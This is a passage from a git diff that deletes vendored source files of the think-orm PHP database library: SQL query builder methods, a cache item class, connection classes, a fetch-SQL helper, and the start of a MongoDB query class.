*/ - protected function parseOrder(Query $query, array $order): string - { - $array = []; - foreach ($order as $key => $val) { - if ($val instanceof Raw) { - $array[] = $this->parseRaw($query, $val); - } elseif (is_array($val) && preg_match('/^[\w\.]+$/', $key)) { - $array[] = $this->parseOrderField($query, $key, $val); - } elseif ('[rand]' == $val) { - $array[] = $this->parseRand($query); - } elseif (is_string($val)) { - if (is_numeric($key)) { - list($key, $sort) = explode(' ', strpos($val, ' ') ? $val : $val . ' '); - } else { - $sort = $val; - } - - if (preg_match('/^[\w\.]+$/', $key)) { - $sort = strtoupper($sort); - $sort = in_array($sort, ['ASC', 'DESC'], true) ? ' ' . $sort : ''; - $array[] = $this->parseKey($query, $key, true) . $sort; - } else { - throw new Exception('order express error:' . $key); - } - } - } - - return empty($array) ? '' : ' ORDER BY ' . implode(',', $array); - } - - /** - * 分析Raw对象 - * @access protected - * @param Query $query 查询对象 - * @param Raw $raw Raw对象 - * @return string - */ - protected function parseRaw(Query $query, Raw $raw): string - { - $sql = $raw->getValue(); - $bind = $raw->getBind(); - - if ($bind) { - $query->bindParams($sql, $bind); - } - - return $sql; - } - - /** - * 随机排序 - * @access protected - * @param Query $query 查询对象 - * @return string - */ - protected function parseRand(Query $query): string - { - return ''; - } - - /** - * orderField分析 - * @access protected - * @param Query $query 查询对象 - * @param string $key - * @param array $val - * @return string - */ - protected function parseOrderField(Query $query, string $key, array $val): string - { - if (isset($val['sort'])) { - $sort = $val['sort']; - unset($val['sort']); - } else { - $sort = ''; - } - - $sort = strtoupper($sort); - $sort = in_array($sort, ['ASC', 'DESC'], true) ? ' ' . $sort : ''; - $bind = $query->getFieldsBindType(); - - foreach ($val as $item) { - $val[] = $this->parseDataBind($query, $key, $item, $bind); - } - - return 'field(' . $this->parseKey($query, $key, true) . ',' . implode(',', $val) . ')' . $sort; - } - - /** - * group分析 - * @access protected - * @param Query $query 查询对象 - * @param mixed $group - * @return string - */ - protected function parseGroup(Query $query, $group): string - { - if (empty($group)) { - return ''; - } - - if (is_string($group)) { - $group = explode(',', $group); - } - - $val = []; - foreach ($group as $key) { - $val[] = $this->parseKey($query, $key); - } - - return ' GROUP BY ' . implode(',', $val); - } - - /** - * having分析 - * @access protected - * @param Query $query 查询对象 - * @param string $having - * @return string - */ - protected function parseHaving(Query $query, string $having): string - { - return !empty($having) ? ' HAVING ' . $having : ''; - } - - /** - * comment分析 - * @access protected - * @param Query $query 查询对象 - * @param string $comment - * @return string - */ - protected function parseComment(Query $query, string $comment): string - { - if (false !== strpos($comment, '*/')) { - $comment = strstr($comment, '*/', true); - } - - return !empty($comment) ? ' /* ' . $comment . ' */' : ''; - } - - /** - * distinct分析 - * @access protected - * @param Query $query 查询对象 - * @param mixed $distinct - * @return string - */ - protected function parseDistinct(Query $query, bool $distinct): string - { - return !empty($distinct) ? ' DISTINCT ' : ''; - } - - /** - * union分析 - * @access protected - * @param Query $query 查询对象 - * @param array $union - * @return string - */ - protected function parseUnion(Query $query, array $union): string - { - if (empty($union)) { - return ''; - } - - $type = $union['type']; - unset($union['type']); - - foreach ($union as $u) { - if ($u instanceof Closure) { - $sql[] = $type . ' ' . $this->parseClosure($query, $u); - } elseif (is_string($u)) { - $sql[] = $type . ' ( ' . $u . ' )'; - } - } - - return ' ' . implode(' ', $sql); - } - - /** - * index分析,可在操作链中指定需要强制使用的索引 - * @access protected - * @param Query $query 查询对象 - * @param mixed $index - * @return string - */ - protected function parseForce(Query $query, $index): string - { - if (empty($index)) { - return ''; - } - - if (is_array($index)) { - $index = join(',', $index); - } - - return sprintf(" FORCE INDEX ( %s ) ", $index); - } - - /** - * 设置锁机制 - * @access protected - * @param Query $query 查询对象 - * @param bool|string $lock - * @return string - */ - protected function parseLock(Query $query, $lock = false): string - { - if (is_bool($lock)) { - return $lock ? ' FOR UPDATE ' : ''; - } - - if (is_string($lock) && !empty($lock)) { - return ' ' . trim($lock) . ' '; - } else { - return ''; - } - } - - /** - * 生成查询SQL - * @access public - * @param Query $query 查询对象 - * @param bool $one 是否仅获取一个记录 - * @return string - */ - public function select(Query $query, bool $one = false): string - { - $options = $query->getOptions(); - - return str_replace( - ['%TABLE%', '%DISTINCT%', '%EXTRA%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'], - [ - $this->parseTable($query, $options['table']), - $this->parseDistinct($query, $options['distinct']), - $this->parseExtra($query, $options['extra']), - $this->parseField($query, $options['field']), - $this->parseJoin($query, $options['join']), - $this->parseWhere($query, $options['where']), - $this->parseGroup($query, $options['group']), - $this->parseHaving($query, $options['having']), - $this->parseOrder($query, $options['order']), - $this->parseLimit($query, $one ? '1' : $options['limit']), - $this->parseUnion($query, $options['union']), - $this->parseLock($query, $options['lock']), - $this->parseComment($query, $options['comment']), - $this->parseForce($query, $options['force']), - ], - $this->selectSql); - } - - /** - * 生成Insert SQL - * @access public - * @param Query $query 查询对象 - * @return string - */ - public function insert(Query $query): string - { - $options = $query->getOptions(); - - // 分析并处理数据 - $data = $this->parseData($query, $options['data']); - if (empty($data)) { - return ''; - } - - $fields = array_keys($data); - $values = array_values($data); - - return str_replace( - ['%INSERT%', '%TABLE%', '%EXTRA%', '%FIELD%', '%DATA%', '%COMMENT%'], - [ - !empty($options['replace']) ? 'REPLACE' : 'INSERT', - $this->parseTable($query, $options['table']), - $this->parseExtra($query, $options['extra']), - implode(' , ', $fields), - implode(' , ', $values), - $this->parseComment($query, $options['comment']), - ], - $this->insertSql); - } - - /** - * 生成insertall SQL - * @access public - * @param Query $query 查询对象 - * @param array $dataSet 数据集 - * @return string - */ - public function insertAll(Query $query, array $dataSet): string - { - $options = $query->getOptions(); - - // 获取绑定信息 - $bind = $query->getFieldsBindType(); - - // 获取合法的字段 - if ('*' == $options['field']) { - $allowFields = array_keys($bind); - } else { - $allowFields = $options['field']; - } - - $fields = []; - $values = []; - - foreach ($dataSet as $k => $data) { - $data = $this->parseData($query, $data, $allowFields, $bind); - - $values[] = 'SELECT ' . implode(',', array_values($data)); - - if (!isset($insertFields)) { - $insertFields = array_keys($data); - } - } - - foreach ($insertFields as $field) { - $fields[] = $this->parseKey($query, $field); - } - - return str_replace( - ['%INSERT%', '%TABLE%', '%EXTRA%', '%FIELD%', '%DATA%', '%COMMENT%'], - [ - !empty($options['replace']) ? 'REPLACE' : 'INSERT', - $this->parseTable($query, $options['table']), - $this->parseExtra($query, $options['extra']), - implode(' , ', $fields), - implode(' UNION ALL ', $values), - $this->parseComment($query, $options['comment']), - ], - $this->insertAllSql); - } - - /** - * 生成slect insert SQL - * @access public - * @param Query $query 查询对象 - * @param array $fields 数据 - * @param string $table 数据表 - * @return string - */ - public function selectInsert(Query $query, array $fields, string $table): string - { - foreach ($fields as &$field) { - $field = $this->parseKey($query, $field, true); - } - - return 'INSERT INTO ' . $this->parseTable($query, $table) . ' (' . implode(',', $fields) . ') ' . $this->select($query); - } - - /** - * 生成update SQL - * @access public - * @param Query $query 查询对象 - * @return string - */ - public function update(Query $query): string - { - $options = $query->getOptions(); - - $data = $this->parseData($query, $options['data']); - - if (empty($data)) { - return ''; - } - - $set = []; - foreach ($data as $key => $val) { - $set[] = $key . ' = ' . $val; - } - - return str_replace( - ['%TABLE%', '%EXTRA%', '%SET%', '%JOIN%', '%WHERE%', '%ORDER%', '%LIMIT%', '%LOCK%', '%COMMENT%'], - [ - $this->parseTable($query, $options['table']), - $this->parseExtra($query, $options['extra']), - implode(' , ', $set), - $this->parseJoin($query, $options['join']), - $this->parseWhere($query, $options['where']), - $this->parseOrder($query, $options['order']), - $this->parseLimit($query, $options['limit']), - $this->parseLock($query, $options['lock']), - $this->parseComment($query, $options['comment']), - ], - $this->updateSql); - } - - /** - * 生成delete SQL - * @access public - * @param Query $query 查询对象 - * @return string - */ - public function delete(Query $query): string - { - $options = $query->getOptions(); - - return str_replace( - ['%TABLE%', '%EXTRA%', '%USING%', '%JOIN%', '%WHERE%', '%ORDER%', '%LIMIT%', '%LOCK%', '%COMMENT%'], - [ - $this->parseTable($query, $options['table']), - $this->parseExtra($query, $options['extra']), - !empty($options['using']) ? ' USING ' . $this->parseTable($query, $options['using']) . ' ' : '', - $this->parseJoin($query, $options['join']), - $this->parseWhere($query, $options['where']), - $this->parseOrder($query, $options['order']), - $this->parseLimit($query, $options['limit']), - $this->parseLock($query, $options['lock']), - $this->parseComment($query, $options['comment']), - ], - $this->deleteSql); - } -} diff --git a/vendor/topthink/think-orm/src/db/CacheItem.php b/vendor/topthink/think-orm/src/db/CacheItem.php deleted file mode 100644 index 839f384..0000000 --- a/vendor/topthink/think-orm/src/db/CacheItem.php +++ /dev/null @@ -1,209 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\db; - -use DateInterval; -use DateTime; -use DateTimeInterface; -use think\db\exception\InvalidArgumentException; - -/** - * CacheItem实现类 - */ -class CacheItem -{ - /** - * 缓存Key - * @var string - */ - protected $key; - - /** - * 缓存内容 - * @var mixed - */ - protected $value; - - /** - * 过期时间 - * @var int|DateTimeInterface - */ - protected $expire; - - /** - * 缓存tag - * @var string - */ - protected $tag; - - /** - * 缓存是否命中 - * @var bool - */ - protected $isHit = false; - - public function __construct(string $key = null) - { - $this->key = $key; - } - - /** - * 为此缓存项设置「键」 - * @access public - * @param string $key - * @return $this - */ - public function setKey(string $key) - { - $this->key = $key; - return $this; - } - - /** - * 返回当前缓存项的「键」 - * @access public - * @return string - */ - public function getKey() - { - return $this->key; - } - - /** - * 返回当前缓存项的有效期 - * @access public - * @return DateTimeInterface|int|null - */ - public function getExpire() - { - if ($this->expire instanceof DateTimeInterface) { - return $this->expire; - } - - return $this->expire ? $this->expire - time() : null; - } - - /** - * 获取缓存Tag - * @access public - * @return string|array - */ - public function getTag() - { - return $this->tag; - } - - /** - * 凭借此缓存项的「键」从缓存系统里面取出缓存项 - * @access public - * @return mixed - */ - public function get() - { - return $this->value; - } - - /** - * 确认缓存项的检查是否命中 - * @access public - * @return bool - */ - public function isHit(): bool - { - return $this->isHit; - } - - /** - * 为此缓存项设置「值」 - * @access public - * @param mixed $value - * @return $this - */ - public function set($value) - { - $this->value = $value; - $this->isHit = true; - return $this; - } - - /** - * 为此缓存项设置所属标签 - * @access public - * @param string|array $tag - * @return $this - */ - public function tag($tag = null) - { - $this->tag = $tag; - return $this; - } - - /** - * 设置缓存项的有效期 - * @access public - * @param mixed $expire - * @return $this - */ - public function expire($expire) - { - if (is_null($expire)) { - $this->expire = null; - } elseif (is_numeric($expire) || $expire instanceof DateInterval) { - $this->expiresAfter($expire); - } elseif ($expire instanceof DateTimeInterface) { - $this->expire = $expire; - } else { - throw new InvalidArgumentException('not support datetime'); - } - - return $this; - } - - /** - * 设置缓存项的准确过期时间点 - * @access public - * @param DateTimeInterface $expiration - * @return $this - */ - public function expiresAt($expiration) - { - if ($expiration instanceof DateTimeInterface) { - $this->expire = $expiration; - } else { - throw new InvalidArgumentException('not support datetime'); - } - - return $this; - } - - /** - * 设置缓存项的过期时间 - * @access public - * @param int|DateInterval $timeInterval - * @return $this - * @throws InvalidArgumentException - */ - public function expiresAfter($timeInterval) - { - if ($timeInterval instanceof DateInterval) { - $this->expire = (int) DateTime::createFromFormat('U', (string) time())->add($timeInterval)->format('U'); - } elseif (is_numeric($timeInterval)) { - $this->expire = $timeInterval + time(); - } else { - throw new InvalidArgumentException('not support datetime'); - } - - return $this; - } - -} diff --git a/vendor/topthink/think-orm/src/db/Connection.php b/vendor/topthink/think-orm/src/db/Connection.php deleted file mode 100644 index cb6a912..0000000 --- a/vendor/topthink/think-orm/src/db/Connection.php +++ /dev/null @@ -1,332 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\db; - -use Psr\SimpleCache\CacheInterface; -use think\DbManager; - -/** - * 数据库连接基础类 - */ -abstract class Connection implements ConnectionInterface -{ - - /** - * 当前SQL指令 - * @var string - */ - protected $queryStr = ''; - - /** - * 返回或者影响记录数 - * @var int - */ - protected $numRows = 0; - - /** - * 事务指令数 - * @var int - */ - protected $transTimes = 0; - - /** - * 错误信息 - * @var string - */ - protected $error = ''; - - /** - * 数据库连接ID 支持多个连接 - * @var array - */ - protected $links = []; - - /** - * 当前连接ID - * @var object - */ - protected $linkID; - - /** - * 当前读连接ID - * @var object - */ - protected $linkRead; - - /** - * 当前写连接ID - * @var object - */ - protected $linkWrite; - - /** - * 数据表信息 - * @var array - */ - protected $info = []; - - /** - * 查询开始时间 - * @var float - */ - protected $queryStartTime; - - /** - * Builder对象 - * @var Builder - */ - protected $builder; - - /** - * Db对象 - * @var DbManager - */ - protected $db; - - /** - * 是否读取主库 - * @var bool - */ - protected $readMaster = false; - - /** - * 数据库连接参数配置 - * @var array - */ - protected $config = []; - - /** - * 缓存对象 - * @var CacheInterface - */ - protected $cache; - - /** - * 架构函数 读取数据库配置信息 - * @access public - * @param array $config 数据库配置数组 - */ - public function __construct(array $config = []) - { - if (!empty($config)) { - $this->config = array_merge($this->config, $config); - } - - // 创建Builder对象 - $class = $this->getBuilderClass(); - - $this->builder = new $class($this); - } - - /** - * 获取当前的builder实例对象 - * @access public - * @return Builder - */ - public function getBuilder() - { - return $this->builder; - } - - - /** - * 创建查询对象 - */ - public function newQuery() - { - $class = $this->getQueryClass(); - - /** @var BaseQuery $query */ - $query = new $class($this); - - $timeRule = $this->db->getConfig('time_query_rule'); - if (!empty($timeRule)) { - $query->timeRule($timeRule); - } - - return $query; - } - - /** - * 指定表名开始查询 - * @param $table - * @return BaseQuery - */ - public function table($table) - { - return $this->newQuery()->table($table); - } - - /** - * 指定表名开始查询(不带前缀) - * @param $name - * @return BaseQuery - */ - public function name($name) - { - return $this->newQuery()->name($name); - } - - /** - * 设置当前的数据库Db对象 - * @access public - * @param DbManager $db - * @return void - */ - public function setDb(DbManager $db) - { - $this->db = $db; - } - - /** - * 设置当前的缓存对象 - * @access public - * @param CacheInterface $cache - * @return void - */ - public function setCache(CacheInterface $cache) - { - $this->cache = $cache; - } - - /** - * 获取当前的缓存对象 - * @access public - * @return CacheInterface|null - */ - public function getCache() - { - return $this->cache; - } - - /** - * 获取数据库的配置参数 - * @access public - * @param string $config 配置名称 - * @return mixed - */ - public function getConfig(string $config = '') - { - if ('' === $config) { - return $this->config; - } - - return $this->config[$config] ?? null; - } - - /** - * 数据库SQL监控 - * @access protected - * @param string $sql 执行的SQL语句 留空自动获取 - * @param bool $master 主从标记 - * @return void - */ - protected function trigger(string $sql = '', bool $master = false): void - { - $listen = $this->db->getListen(); - - if (!empty($listen)) { - $runtime = number_format((microtime(true) - $this->queryStartTime), 6); - $sql = $sql ?: $this->getLastsql(); - - if (empty($this->config['deploy'])) { - $master = null; - } - - foreach ($listen as $callback) { - if (is_callable($callback)) { - $callback($sql, $runtime, $master); - } - } - } - } - - /** - * 缓存数据 - * @access protected - * @param CacheItem $cacheItem 缓存Item - */ - protected function cacheData(CacheItem $cacheItem) - { - if ($cacheItem->getTag() && method_exists($this->cache, 'tag')) { - $this->cache->tag($cacheItem->getTag())->set($cacheItem->getKey(), $cacheItem->get(), $cacheItem->getExpire()); - } else { - $this->cache->set($cacheItem->getKey(), $cacheItem->get(), $cacheItem->getExpire()); - } - } - - /** - * 分析缓存Key - * @access protected - * @param BaseQuery $query 查询对象 - * @param string $method 查询方法 - * @return string - */ - protected function getCacheKey(BaseQuery $query, string $method = ''): string - { - if (!empty($query->getOptions('key')) && empty($method)) { - $key = 'think:' . $this->getConfig('database') . '.' . $query->getTable() . '|' . $query->getOptions('key'); - } else { - $key = $query->getQueryGuid(); - } - - return $key; - } - - /** - * 分析缓存 - * @access protected - * @param BaseQuery $query 查询对象 - * @param array $cache 缓存信息 - * @param string $method 查询方法 - * @return CacheItem - */ - protected function parseCache(BaseQuery $query, array $cache, string $method = ''): CacheItem - { - [$key, $expire, $tag] = $cache; - - if ($key instanceof CacheItem) { - $cacheItem = $key; - } else { - if (true === $key) { - $key = $this->getCacheKey($query, $method); - } - - $cacheItem = new CacheItem($key); - $cacheItem->expire($expire); - $cacheItem->tag($tag); - } - - return $cacheItem; - } - - /** - * 获取返回或者影响的记录数 - * @access public - * @return integer - */ - public function getNumRows(): int - { - return $this->numRows; - } - - /** - * 析构方法 - * @access public - */ - public function __destruct() - { - // 关闭连接 - $this->close(); - } -} diff --git a/vendor/topthink/think-orm/src/db/ConnectionInterface.php b/vendor/topthink/think-orm/src/db/ConnectionInterface.php deleted file mode 100644 index 207a424..0000000 --- a/vendor/topthink/think-orm/src/db/ConnectionInterface.php +++ /dev/null @@ -1,190 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\db; - -use Psr\SimpleCache\CacheInterface; -use think\DbManager; - -/** - * Connection interface - */ -interface ConnectionInterface -{ - /** - * 获取当前连接器类对应的Query类 - * @access public - * @return string - */ - public function getQueryClass(): string; - - /** - * 指定表名开始查询 - * @param $table - * @return BaseQuery - */ - public function table($table); - - /** - * 指定表名开始查询(不带前缀) - * @param $name - * @return BaseQuery - */ - public function name($name); - - /** - * 连接数据库方法 - * @access public - * @param array $config 接参数 - * @param integer $linkNum 连接序号 - * @return mixed - */ - public function connect(array $config = [], $linkNum = 0); - - /** - * 设置当前的数据库Db对象 - * @access public - * @param DbManager $db - * @return void - */ - public function setDb(DbManager $db); - - /** - * 设置当前的缓存对象 - * @access public - * @param CacheInterface $cache - * @return void - */ - public function setCache(CacheInterface $cache); - - /** - * 获取数据库的配置参数 - * @access public - * @param string $config 配置名称 - * @return mixed - */ - public function getConfig(string $config = ''); - - /** - * 关闭数据库(或者重新连接) - * @access public - * @return $this - */ - public function close(); - - /** - * 查找单条记录 - * @access public - * @param BaseQuery $query 查询对象 - * @return array - */ - public function find(BaseQuery $query): array; - - /** - * 查找记录 - * @access public - * @param BaseQuery $query 查询对象 - * @return array - */ - public function select(BaseQuery $query): array; - - /** - * 插入记录 - * @access public - * @param BaseQuery $query 查询对象 - * @param boolean $getLastInsID 返回自增主键 - * @return mixed - */ - public function insert(BaseQuery $query, bool $getLastInsID = false); - - /** - * 批量插入记录 - * @access public - * @param BaseQuery $query 查询对象 - * @param mixed $dataSet 数据集 - * @return integer - */ - public function insertAll(BaseQuery $query, array $dataSet = []): int; - - /** - * 更新记录 - * @access public - * @param BaseQuery $query 查询对象 - * @return integer - */ - public function update(BaseQuery $query): int; - - /** - * 删除记录 - * @access public - * @param BaseQuery $query 查询对象 - * @return int - */ - public function delete(BaseQuery $query): int; - - /** - * 得到某个字段的值 - * @access public - * @param BaseQuery $query 查询对象 - * @param string $field 字段名 - * @param mixed $default 默认值 - * @return mixed - */ - public function value(BaseQuery $query, string $field, $default = null); - - /** - * 得到某个列的数组 - * @access public - * @param BaseQuery $query 查询对象 - * @param string $column 字段名 多个字段用逗号分隔 - * @param string $key 索引 - * @return array - */ - public function column(BaseQuery $query, string $column, string $key = ''): array; - - /** - * 执行数据库事务 - * @access public - * @param callable $callback 数据操作方法回调 - * @return mixed - */ - public function transaction(callable $callback); - - /** - * 启动事务 - * @access public - * @return void - */ - public function startTrans(); - - /** - * 用于非自动提交状态下面的查询提交 - * @access public - * @return void - */ - public function commit(); - - /** - * 事务回滚 - * @access public - * @return void - */ - public function rollback(); - - /** - * 获取最近一次查询的sql语句 - * @access public - * @return string - */ - public function getLastSql(): string; - -} diff --git a/vendor/topthink/think-orm/src/db/Fetch.php b/vendor/topthink/think-orm/src/db/Fetch.php deleted file mode 100644 index 16caed2..0000000 --- a/vendor/topthink/think-orm/src/db/Fetch.php +++ /dev/null @@ -1,494 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\db; - -use think\db\exception\DbException as Exception; -use think\helper\Str; - -/** - * SQL获取类 - */ -class Fetch -{ - /** - * 查询对象 - * @var Query - */ - protected $query; - - /** - * Connection对象 - * @var Connection - */ - protected $connection; - - /** - * Builder对象 - * @var Builder - */ - protected $builder; - - /** - * 创建一个查询SQL获取对象 - * - * @param Query $query 查询对象 - */ - public function __construct(Query $query) - { - $this->query = $query; - $this->connection = $query->getConnection(); - $this->builder = $this->connection->getBuilder(); - } - - /** - * 聚合查询 - * @access protected - * @param string $aggregate 聚合方法 - * @param string $field 字段名 - * @return string - */ - protected function aggregate(string $aggregate, string $field): string - { - $this->query->parseOptions(); - - $field = $aggregate . '(' . $this->builder->parseKey($this->query, $field) . ') AS think_' . strtolower($aggregate); - - return $this->value($field, 0, false); - } - - /** - * 得到某个字段的值 - * @access public - * @param string $field 字段名 - * @param mixed $default 默认值 - * @param bool $one - * @return string - */ - public function value(string $field, $default = null, bool $one = true): string - { - $options = $this->query->parseOptions(); - - if (isset($options['field'])) { - $this->query->removeOption('field'); - } - - $this->query->setOption('field', (array) $field); - - // 生成查询SQL - $sql = $this->builder->select($this->query, $one); - - if (isset($options['field'])) { - $this->query->setOption('field', $options['field']); - } else { - $this->query->removeOption('field'); - } - - return $this->fetch($sql); - } - - /** - * 得到某个列的数组 - * @access public - * @param string $field 字段名 多个字段用逗号分隔 - * @param string $key 索引 - * @return string - */ - public function column(string $field, string $key = ''): string - { - $options = $this->query->parseOptions(); - - if (isset($options['field'])) { - $this->query->removeOption('field'); - } - - if ($key && '*' != $field) { - $field = $key . ',' . $field; - } - - $field = array_map('trim', explode(',', $field)); - - $this->query->setOption('field', $field); - - // 生成查询SQL - $sql = $this->builder->select($this->query); - - if (isset($options['field'])) { - $this->query->setOption('field', $options['field']); - } else { - $this->query->removeOption('field'); - } - - return $this->fetch($sql); - } - - /** - * 插入记录 - * @access public - * @param array $data 数据 - * @return string - */ - public function insert(array $data = []): string - { - $options = $this->query->parseOptions(); - - if (!empty($data)) { - $this->query->setOption('data', $data); - } - - $sql = $this->builder->insert($this->query); - - return $this->fetch($sql); - } - - /** - * 插入记录并获取自增ID - * @access public - * @param array $data 数据 - * @return string - */ - public function insertGetId(array $data = []): string - { - return $this->insert($data); - } - - /** - * 保存数据 自动判断insert或者update - * @access public - * @param array $data 数据 - * @param bool $forceInsert 是否强制insert - * @return string - */ - public function save(array $data = [], bool $forceInsert = false): string - { - if ($forceInsert) { - return $this->insert($data); - } - - $data = array_merge($this->query->getOptions('data') ?: [], $data); - - $this->query->setOption('data', $data); - - if ($this->query->getOptions('where')) { - $isUpdate = true; - } else { - $isUpdate = $this->query->parseUpdateData($data); - } - - return $isUpdate ? $this->update() : $this->insert(); - } - - /** - * 批量插入记录 - * @access public - * @param array $dataSet 数据集 - * @param integer $limit 每次写入数据限制 - * @return string - */ - public function insertAll(array $dataSet = [], int $limit = null): string - { - $options = $this->query->parseOptions(); - - if (empty($dataSet)) { - $dataSet = $options['data']; - } - - if (empty($limit) && !empty($options['limit'])) { - $limit = $options['limit']; - } - - if ($limit) { - $array = array_chunk($dataSet, $limit, true); - $fetchSql = []; - foreach ($array as $item) { - $sql = $this->builder->insertAll($this->query, $item); - $bind = $this->query->getBind(); - - $fetchSql[] = $this->connection->getRealSql($sql, $bind); - } - - return implode(';', $fetchSql); - } - - $sql = $this->builder->insertAll($this->query, $dataSet); - - return $this->fetch($sql); - } - - /** - * 通过Select方式插入记录 - * @access public - * @param array $fields 要插入的数据表字段名 - * @param string $table 要插入的数据表名 - * @return string - */ - public function selectInsert(array $fields, string $table): string - { - $this->query->parseOptions(); - - $sql = $this->builder->selectInsert($this->query, $fields, $table); - - return $this->fetch($sql); - } - - /** - * 更新记录 - * @access public - * @param mixed $data 数据 - * @return string - */ - public function update(array $data = []): string - { - $options = $this->query->parseOptions(); - - $data = !empty($data) ? $data : $options['data']; - - $pk = $this->query->getPk(); - - if (empty($options['where'])) { - // 如果存在主键数据 则自动作为更新条件 - if (is_string($pk) && isset($data[$pk])) { - $this->query->where($pk, '=', $data[$pk]); - unset($data[$pk]); - } elseif (is_array($pk)) { - // 增加复合主键支持 - foreach ($pk as $field) { - if (isset($data[$field])) { - $this->query->where($field, '=', $data[$field]); - } else { - // 如果缺少复合主键数据则不执行 - throw new Exception('miss complex primary data'); - } - unset($data[$field]); - } - } - - if (empty($this->query->getOptions('where'))) { - // 如果没有任何更新条件则不执行 - throw new Exception('miss update condition'); - } - } - - // 更新数据 - $this->query->setOption('data', $data); - - // 生成UPDATE SQL语句 - $sql = $this->builder->update($this->query); - - return $this->fetch($sql); - } - - /** - * 删除记录 - * @access public - * @param mixed $data 表达式 true 表示强制删除 - * @return string - */ - public function delete($data = null): string - { - $options = $this->query->parseOptions(); - - if (!is_null($data) && true !== $data) { - // AR模式分析主键条件 - $this->query->parsePkWhere($data); - } - - if (!empty($options['soft_delete'])) { - // 软删除 - [$field, $condition] = $options['soft_delete']; - if ($condition) { - $this->query->setOption('soft_delete', null); - $this->query->setOption('data', [$field => $condition]); - // 生成删除SQL语句 - $sql = $this->builder->delete($this->query); - return $this->fetch($sql); - } - } - - // 生成删除SQL语句 - $sql = $this->builder->delete($this->query); - - return $this->fetch($sql); - } - - /** - * 查找记录 返回SQL - * @access public - * @param mixed $data - * @return string - */ - public function select($data = null): string - { - $this->query->parseOptions(); - - if (!is_null($data)) { - // 主键条件分析 - $this->query->parsePkWhere($data); - } - - // 生成查询SQL - $sql = $this->builder->select($this->query); - - return $this->fetch($sql); - } - - /** - * 查找单条记录 返回SQL语句 - * @access public - * @param mixed $data - * @return string - */ - public function find($data = null): string - { - $this->query->parseOptions(); - - if (!is_null($data)) { - // AR模式分析主键条件 - $this->query->parsePkWhere($data); - } - - // 生成查询SQL - $sql = $this->builder->select($this->query, true); - - // 获取实际执行的SQL语句 - return $this->fetch($sql); - } - - /** - * 查找多条记录 如果不存在则抛出异常 - * @access public - * @param mixed $data - * @return string - */ - public function selectOrFail($data = null): string - { - return $this->select($data); - } - - /** - * 查找单条记录 如果不存在则抛出异常 - * @access public - * @param mixed $data - * @return string - */ - public function findOrFail($data = null): string - { - return $this->find($data); - } - - /** - * 查找单条记录 不存在返回空数据(或者空模型) - * @access public - * @param mixed $data 数据 - * @return string - */ - public function findOrEmpty($data = null) - { - return $this->find($data); - } - - /** - * 获取实际的SQL语句 - * @access public - * @param string $sql - * @return string - */ - public function fetch(string $sql): string - { - $bind = $this->query->getBind(); - - return $this->connection->getRealSql($sql, $bind); - } - - /** - * COUNT查询 - * @access public - * @param string $field 字段名 - * @return string - */ - public function count(string $field = '*'): string - { - $options = $this->query->parseOptions(); - - if (!empty($options['group'])) { - // 支持GROUP - $bind = $this->query->getBind(); - $subSql = $this->query->options($options)->field('count(' . $field . ') AS think_count')->bind($bind)->buildSql(); - - $query = $this->query->newQuery()->table([$subSql => '_group_count_']); - - return $query->fetchsql()->aggregate('COUNT', '*'); - } else { - return $this->aggregate('COUNT', $field); - } - } - - /** - * SUM查询 - * @access public - * @param string $field 字段名 - * @return string - */ - public function sum(string $field): string - { - return $this->aggregate('SUM', $field); - } - - /** - * MIN查询 - * @access public - * @param string $field 字段名 - * @return string - */ - public function min(string $field): string - { - return $this->aggregate('MIN', $field); - } - - /** - * MAX查询 - * @access public - * @param string $field 字段名 - * @return string - */ - public function max(string $field): string - { - return $this->aggregate('MAX', $field); - } - - /** - * AVG查询 - * @access public - * @param string $field 字段名 - * @return string - */ - public function avg(string $field): string - { - return $this->aggregate('AVG', $field); - } - - public function __call($method, $args) - { - if (strtolower(substr($method, 0, 5)) == 'getby') { - // 根据某个字段获取记录 - $field = Str::snake(substr($method, 5)); - return $this->where($field, '=', $args[0])->find(); - } elseif (strtolower(substr($method, 0, 10)) == 'getfieldby') { - // 根据某个字段获取记录的某个值 - $name = Str::snake(substr($method, 10)); - return $this->where($name, '=', $args[0])->value($args[1]); - } - - $result = call_user_func_array([$this->query, $method], $args); - return $result === $this->query ? $this : $result; - } -} diff --git a/vendor/topthink/think-orm/src/db/Mongo.php b/vendor/topthink/think-orm/src/db/Mongo.php deleted file mode 100644 index 5e8a09a..0000000 --- a/vendor/topthink/think-orm/src/db/Mongo.php +++ /dev/null @@ -1,712 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); -namespace think\db; - -use MongoDB\Driver\Command; -use MongoDB\Driver\Cursor; -use MongoDB\Driver\Exception\AuthenticationException; -use MongoDB\Driver\Exception\ConnectionException; -use MongoDB\Driver\Exception\InvalidArgumentException; -use MongoDB\Driver\Exception\RuntimeException; -use MongoDB\Driver\ReadPreference; -use MongoDB\Driver\WriteConcern; -use think\db\exception\DbException as Exception; -use think\Paginator; - -class Mongo extends BaseQuery -{ - /** - * 当前数据库连接对象 - * @var \think\db\connector\Mongo - */ - protected $connection; - - /** - * 执行指令 返回数据集 - * @access public - * @param Command $command 指令 - * @param string $dbName - * @param ReadPreference $readPreference readPreference - * @param string|array $typeMap 指定返回的typeMap - * @return mixed - * @throws AuthenticationException - * @throws InvalidArgumentException - * @throws ConnectionException - * @throws RuntimeException - */ - public function command(Command $command, string $dbName = '', ReadPreference $readPreference = null, $typeMap = null) - { - return $this->connection->command($command, $dbName, $readPreference, $typeMap); - } - - /** - * 执行command - * @access public - * @param string|array|object $command 指令 - * @param mixed $extra 额外参数 - * @param string $db 数据库名 - * @return array - */ - public function cmd($command, $extra = null, string $db = ''): array - { - $this->parseOptions(); - return $this->connection->cmd($this, $command, $extra, $db); - } - - /** - * 指定distinct查询 - * @access public - * @param string $field 字段名 - * @return array - */ - public function getDistinct(string $field) - { - $result = $this->cmd('distinct', $field); - return $result[0]['values']; - } - - /** - * 获取数据库的所有collection - * @access public - * @param string $db 数据库名称 留空为当前数据库 - * @throws Exception - */ - public function listCollections(string $db = '') - { - $cursor = $this->cmd('listCollections', null, $db); - $result = []; - foreach ($cursor as $collection) { - $result[] = 